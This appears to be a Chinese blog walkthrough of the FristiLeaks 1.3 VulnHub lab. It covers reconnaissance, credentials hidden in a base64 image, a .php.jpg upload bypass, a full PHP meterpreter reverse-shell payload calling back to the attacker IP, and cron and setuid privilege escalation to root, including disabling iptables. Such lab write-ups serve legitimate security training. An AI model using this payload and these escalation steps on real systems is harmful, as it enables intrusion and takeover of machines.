【Vulnhub通关】FristiLeaks:1.3


准备工作

靶机基本信息

靶机名称:FristiLeaks 1.3

操作系统:Linux

虚拟机软件:VMware Workstation

网络连接方式:桥接至物理网络

渗透测试目标:获取靶机root权限并读取Flag文件

下载地址:FristiLeaks: 1.3 ~ VulnHub

环境配置

  1. 该靶场为OVF格式的虚拟机文件。在进行导入时,应当点击虚拟机软件界面中的 File -> Open按钮导入虚拟机
  2. 根据要求,需要手动设置该靶场虚拟机的MAC地址为08:00:27:A5:A6:76

信息收集

主机发现

在Kali Linux中,可以使用如下命令进行主机发现:

shell 复制代码
netdiscover -r 192.168.2.0/24

从图片中,我们看到了一台不明设备,判断该设备为靶机,IP地址为192.168.2.119

网络服务扫描

知道了靶机的IP地址之后,我们可使用nmap对靶机进行端口扫描:

shell 复制代码
nmap -A -sV 192.168.2.119

从中得知靶机仅开放了一个端口:

端口 传输层协议 应用层协议 详细信息
80 TCP HTTP Apache httpd 2.2.15 ((CentOS ) DAV/2 PHP/5.3.3)

HTTP服务的信息:robots.txt中有三个目录,分别为/cola/sisi/beer

同时得知靶机的操作系统为CentOS Linux内核版本在2.6.323.10之间


服务探测(HTTP服务)

浏览主页

使用火狐浏览器打开网址:http://192.168.2.119/,内容如下:

大致翻了翻,网页上有一处指向作者推特的网页链接 (当然访问就别想了),底部为作者的感谢名单,除此之外就没啥了,查看源代码:

HTML 复制代码
<!-- Welcome to #Fristleaks, a quick hackme VM by @Ar0xA

Goal: get UID 0 (root) and read the special flag file.
Timeframe: should be doable in 4 hours.
-->
<html>
<body bgcolor="#FF69B4">
<br />
<center><h1> The <a href="https://*******.com/search?q=%23fristileaks">#fristileaks</a> motto:</h1> </center>
<center> <img src="images/keep-calm.png" /> </center>
<br />
Fristileaks 2015-12-11 are:<br> 
@meneer,......, @Ar0xA
</body>
</html>

在主页没有发现有效的信息,访问一下之前nmap探测到的目录,无一例外都是这个页面:

目录扫描

既然没有发现任何信息,那么只好扫描一下目录:

shell 复制代码
dirsearch -u http://192.168.2.119/ -i 200,301,302,304

好吧。。。连目录扫描也没有发现有效的信息。。。

发现业务目录

渗透似乎陷入了僵局。返回主页,主页上的文字引起了我的注意:Keep calm and drink fristi这里的单词fristi似乎不是常规的名词或形容词,而是一个名称 。结合这句话前面的意思,我打开了这个网址:http://192.168.2.119/fristi,果然:

眼前是一个登录框,先看下源代码,部分内容如下:

HTML 复制代码
<html>
<head>
<meta name="description" content="super leet password login-test page. We use base64 encoding for images so they are inline in the HTML. I read somewhere on the web, that thats a good way to do it.">
<!-- 
TODO:
We need to clean this up for production. I left some junk in here to make testing easier.

- by eezeepz
-->
</head>
<body>
<center><h1> Welcome to #fristileaks admin portal</h1></center>
<center><img src="data:img/png;base64,/9j/4AAQSkZJRgABAgAAZABkAAD/7A......></center><br/>
<!-- More HTML codes ... -->
<!-- iVBORw0KGgoAAAANSUhEUgAAAW0AAA ...... 1qtycQAAAABJRU5ErkJggg== -->

看来靶机开发者将图片编码为Base64格式之后使用<img>标签将其嵌入了页面而这个网页内有两幅图片,一幅在<img>标签内,而另一幅藏在网页注释里

现在新建一份HTML网页文件,并将隐藏的图片复制到<img>标签内:

HTML 复制代码
<img src="data:image/png;base64,iVBORw ...... 1qtycQAAAABJRU5ErkJggg=="> 

直接得到了隐藏的密码:

再结合前面的提示信息,稍加猜测,就得出了靶机业务的身份凭证:

  • 用户名:eezeepz
  • 密码:keKkeKKeKKeKkEkkEk

登录后台成功:


渗透测试

上传PHPInfo

登录成功后,点击/fristi/login_success.php下的链接,发现进入了一个文件上传界面:

于是决定随便选择一张图片上传,希望可以获取到文件保存路径,上传之后:

获取到了文件保存路径:http://192.168.2.119/fristi/uploads/

直接打开该网址,页面上只返回了no!这个英文单词,但是在网址最后输入了上传时的文件名称 后,我们成功访问到了上传的文件。网址为:http://192.168.2.119/fristi/uploads/misaka.jpg

由此得知上传的文件可以被访问,接下来打开BurpSuite,尝试上传PHP脚本文件:

Text 复制代码
POST /fristi/do_upload.php HTTP/1.1
Host: 192.168.2.119
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------340830723034255098293852414857
Content-Length: 379
Origin: http://192.168.2.119
Connection: close
Referer: http://192.168.2.119/fristi/upload.php
Cookie: PHPSESSID=bo0mp9umpdr17lhb1eevfkaht6
Upgrade-Insecure-Requests: 1

-----------------------------340830723034255098293852414857
Content-Disposition: form-data; name="fileToUpload"; filename="phpinfo.php.jpg"
Content-Type: image/jpg

<?php phpinfo(); ?>
-----------------------------340830723034255098293852414857
Content-Disposition: form-data; name="submit"

Upload Image
-----------------------------340830723034255098293852414857--

发现上传成功了,尝试访问:http://192.168.2.119/fristi/uploads/phpinfo.php.jpg

上传网页木马

既然已经确定了绕过方法,那么接下来我们可以向靶机上传PHP木马。使用msfvenom可以直接生成反弹端口的PHP木马并在Metasploit中使用:

shell 复制代码
msfvenom -p php/meterpreter/reverse_tcp LPORT=192.168.2.108 LPORT=4444 -f raw > [YOUR PATH] 

随后打开BurpSuite,将生成好的木马直接上传:

PHP木马内容:

PHP 复制代码
<?php
    error_reporting(0);
    $ip = '192.168.2.108';
    $port = 4444;
    if (($f = 'stream_socket_client') && is_callable($f)) {
        $s = $f("tcp://{$ip}:{$port}");
        $s_type = 'stream';
    }
    if (!$s && ($f = 'fsockopen') && is_callable($f)) {
        $s = $f($ip, $port);
        $s_type = 'stream';
    }
    if (!$s && ($f = 'socket_create') && is_callable($f)) {
        $s = $f(AF_INET, SOCK_STREAM, SOL_TCP);
        $res = @socket_connect($s, $ip, $port);
        if (!$res) { die(); }
        $s_type = 'socket';
    }
    if (!$s_type) { die('no socket funcs'); }
    if (!$s) { die('no socket'); }
    switch ($s_type) {
        case 'stream': $len = fread($s, 4); break;
        case 'socket': $len = socket_read($s, 4); break;
    }
    if (!$len) { die(); }
    $a = unpack("Nlen", $len);
    $len = $a['len'];
    $b = '';
    while (strlen($b) < $len) {
        switch ($s_type) {
            case 'stream': $b .= fread($s, $len-strlen($b)); break;
            case 'socket': $b .= socket_read($s, $len-strlen($b)); break;
        } 
    }
    $GLOBALS['msgsock'] = $s;
    $GLOBALS['msgsock_type'] = $s_type;
    if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) {
        $suhosin_bypass=create_function('', $b);
        $suhosin_bypass();
    } else { eval($b); }
    die();
?>

然后在终端敲入msfconsole,打开Metasploit,开始进行监听:

shell 复制代码
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.2.108
LHOST => 192.168.2.108
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.2.108:4444 

然后访问上传的木马,Meterpreter就会收到一个连接(网址:http://192.168.2.119/fristi/uploads/reverse_tcp_cmdshell.php.jpg):

查看操作系统信息:sysinfo

shell 复制代码
meterpreter > sysinfo
Computer    : 192.168.2.119                                                                                                                         
OS          : Linux 192.168.2.119 2.6.32-573.8.1.el6.x86_64 #1 SMP Tue Nov 10 18:01:38 UTC 2015 x86_64                                              
Meterpreter : php/linux 

成功!!

针对靶机Web服务的渗透测试结束,进入权限提升部分。


权限提升

Meterpreter使用ps命令收集信息,得到的结果如下:

查看进程信息,发现关键的服务都未使用root用户运行,没有得到有效信息。

于是只好一层层查看目录下的文件。当查看到/var/www/目录时,在磁盘里发现了文件note.txt ,使用cat命令打印内容:

文中作者jerryeezeepz说他的家目录一团糟,叫他清理家目录下的文件。这明显是一个提示,我们进入目录/home/eezeepz

shell 复制代码
cd /home/eezeepz

使用ls命令查看该用户家目录的文件:

我们又发现了note.txt文件,查看文件内容:

Text 复制代码
Yo EZ,

I made it possible for you to do some automated checks, 
but I did only allow you access to /usr/bin/* system binaries. I did
however copy a few extra often needed commands to my 
homedir: chmod, df, cat, echo, ps, grep, egrep so you can use those
from /home/admin/

Don't forget to specify the full path for each binary!

Just put a file called "runthis" in /tmp/, each line one command. The 
output goes to the file "cronresult" in /tmp/. It should 
run every minute with my account privileges.

- Jerry

文中的内容大致为:Jerry在他的家目录/home/admin/下为低权限用户eezeepz准备了一些常用的命令程序,还告诉eezeepz如果在/tmp目录下建立名为runthis的脚本文件,操作系统会每隔一分钟以admin用户的身份执行脚本文件

尝试查看/home/admin目录,但提示其它用户没有读写、执行权限

既然如此,那么不妨尝试在/tmp/runthis文件中加入如下命令:

shell 复制代码
#! /bin/bash
/home/admin/chmod -R 777 /home/admin

这样操作系统就会以admin用户的身份执行此条命令,给家目录提权。

等待1分钟,再次尝试进入并查看admin用户家目录:

成功!

在家目录下发现如下敏感文件:cryptedpass.txtwhoisyourgodnow.txtcryptpass.py前两者为经加密的密码,后者为加密脚本,它们的内容如下:

Text 复制代码
# cryptedpass.txt
mVGZ3O3omkJLmy2pcuTq
# whoisyourgodnow.txt
=RFn0AKnlMHMPIzpyuTI0ITG
Python 复制代码
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys

def encodeString(str):
    base64string= base64.b64encode(str)
    return codecs.encode(base64string[::-1], 'rot13')

cryptoResult=encodeString(sys.argv[1])
print cryptoResult

可以看到密码的加密方式为:

  1. 将明文密码进行Base64编码
  2. 反转编码之后的Base64密文
  3. 将反转后的密文再进行一次rot13编码

那么我们的解密脚本只需要将上述流程反着来一遍就行,代码如下:

Python 复制代码
#! /usr/bin/python3
import codecs
import base64

# 解密函数
def passwd_decode(crypted_pass):
    str_base64 = codecs.decode(crypted_pass,'rot13')[::-1]
    return str(base64.b64decode(str_base64))

# 主程序部分
pass1 = "mVGZ3O3omkJLmy2pcuTq"
pass2 = "=RFn0AKnlMHMPIzpyuTI0ITG"
print(passwd_decode(pass1) + '\n' + passwd_decode(pass2))

这样就得到了如下明文密码:

经过确认,系统账户的密码如下:

  • admin:thisisalsopw123
  • fristigod:LetThereBeFristi!

现在先登录用户admin看看(Meterpreter中敲入shell命令):

shell 复制代码
meterpreter > shell
Process 2181 created.
Channel 2 created.
python -c "import pty;pty.spawn('/bin/bash')"
bash-4.1$ su admin
su admin
Password: LetThereBeFristi!

[admin@192 ~]$ 

查看了cronjob.py文件,发现它只是以admin的权限执行/tmp/runthis文件,而且该用户也没有sudo权限 。无奈之下想到了fristigod用户,于是切换:

shell 复制代码
su fristigod

切换之后执行cd ~进入用户家目录,ls -lA查看文件,没想到竟然发现了:

进入该目录查看文件:

shell 复制代码
bash-4.1$ ls -lA
ls -lA
total 8
-rwsr-sr-x 1 root root 7529 Nov 25  2015 doCom

好啊,很好啊,就是有点不知道这玩意儿怎么用。回头看看~/.bash_history

看样子是个可以以高权限用户执行任意命令的工具,试试:

shell 复制代码
bash-4.1$ sudo -u fristi ./doCom id
sudo -u fristi ./doCom id
uid=0(root) gid=100(users) groups=100(users),502(fristigod)

好啊,非常好。。。(尖叫)(扭曲)(阴暗的爬行) (爬行)(扭动)(阴暗地蠕动)(翻滚)(激烈地爬动)(扭曲)(痉挛)(嘶吼)(蠕动)(阴森的低吼)

接下来直接更改root用户密码:

shell 复制代码
bash-4.1$ sudo -u fristi ./doCom passwd root
sudo -u fristi ./doCom passwd root
[sudo] password for fristigod: LetThereBeFristi!

Changing password for user root.
New password: *********
Retype new password: *********
passwd: all authentication tokens updated successfully.

SSH,启动!!!!!!

shell 复制代码
bash-4.1$ sudo -u fristi ./doCom service sshd start
sudo -u fristi ./doCom service sshd start
Starting sshd:                                             [  OK  ]

IPTables,清空!!!!!!

shell 复制代码
bash-4.1$ sudo -u fristi ./doCom iptables -F
sudo -u fristi ./doCom iptables -F
bash-4.1$ sudo -u fristi ./doCom chkconfig iptables off
sudo -u fristi ./doCom chkconfig iptables off

直接登录SSH:


Flag文件展示

文件名:fristileaks_secrets.txt
SHA256:281a50c8b96b26b1d8d6ae857e3c04caba35e5277f96f842dfb13b4083fb9887


本次靶机渗透到此结束

相关推荐
AI服务老曹10 小时前
运用先进的智能算法和优化模型,进行科学合理调度的智慧园区开源了
运维·人工智能·安全·开源·音视频
网络安全King11 小时前
华为 网络安全 认证
安全·web安全
网络安全-老纪12 小时前
网络安全-js安全知识点与XSS常用payloads
javascript·安全·web安全
API_technology12 小时前
电商API安全防护:JWT令牌与XSS防御实战
前端·安全·xss
Tipray200612 小时前
天 锐 蓝盾终端安全管理系统:办公U盘拷贝使用管控限制
安全
坚定信念,勇往无前16 小时前
Spring Boot 如何保证接口安全
spring boot·后端·安全
数造科技16 小时前
紧随“可信数据空间”政策风潮,数造科技正式加入开放数据空间联盟
大数据·人工智能·科技·安全·敏捷开发
winfredzhang17 小时前
Python实战:Excel中文转拼音工具开发教程
python·安全·excel·汉字·pinyin·缩写
网安加云课堂17 小时前
课程分享 | 安全系统建设的挑战与解决方案
网络·安全·web安全
源码宝18 小时前
医院安全(不良)事件上报系统源码,基于Laravel8开发,依托其优雅的语法与强大的扩展能力
安全·不良事件上报·医院不良事件管理